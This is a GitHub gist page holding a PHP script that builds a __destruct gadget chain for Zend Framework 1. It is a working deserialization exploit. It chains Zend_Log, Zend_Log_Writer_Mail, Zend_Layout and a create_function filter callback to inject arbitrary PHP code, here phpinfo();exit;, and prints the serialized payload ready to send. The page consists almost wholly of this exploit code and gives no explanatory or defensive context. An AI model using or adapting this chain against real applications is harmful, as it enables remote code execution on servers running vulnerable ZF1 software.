-
-
Save YDyachenko/6f60709ce0fc346d0cc0252e07c6aa38 to your computer and use it in GitHub Desktop.
`__destruct` Gadget chain for ZF1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Zend_Log | |
{ | |
protected $_writers; | |
function __construct($x) | |
{ | |
$this->_writers = $x; | |
} | |
} | |
class Zend_Log_Writer_Mail | |
{ | |
protected $_eventsToMail; | |
protected $_layoutEventsToMail; | |
protected $_mail; | |
protected $_layout; | |
protected $_subjectPrependText; | |
public function __construct( | |
$eventsToMail, | |
$layoutEventsToMail, | |
$mail, | |
$layout | |
) { | |
$this->_eventsToMail = $eventsToMail; | |
$this->_layoutEventsToMail = $layoutEventsToMail; | |
$this->_mail = $mail; | |
$this->_layout = $layout; | |
$this->_subjectPrependText = null; | |
} | |
} | |
class Zend_Mail | |
{ | |
} | |
class Zend_Layout | |
{ | |
protected $_inflector; | |
protected $_inflectorEnabled; | |
protected $_layout; | |
public function __construct( | |
$inflector, | |
$inflectorEnabled, | |
$layout | |
) { | |
$this->_inflector = $inflector; | |
$this->_inflectorEnabled = $inflectorEnabled; | |
$this->_layout = '){}' . $layout . '/*'; | |
} | |
} | |
class Zend_Filter_Callback | |
{ | |
protected $_callback = "create_function"; | |
protected $_options = [""]; | |
} | |
class Zend_Filter_Inflector | |
{ | |
protected $_rules = []; | |
public function __construct() | |
{ | |
$this->_rules['script'] = [new Zend_Filter_Callback()]; | |
} | |
} | |
$code = "phpinfo();exit;"; | |
$a = new \Zend_Log( | |
[new \Zend_Log_Writer_Mail( | |
[1], | |
[], | |
new \Zend_Mail, | |
new \Zend_Layout( | |
new Zend_Filter_Inflector(), | |
true, | |
$code | |
) | |
)] | |
); | |
//echo urlencode(serialize(['test' => $a])); | |
echo json_encode(serialize(['test' => $a])); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment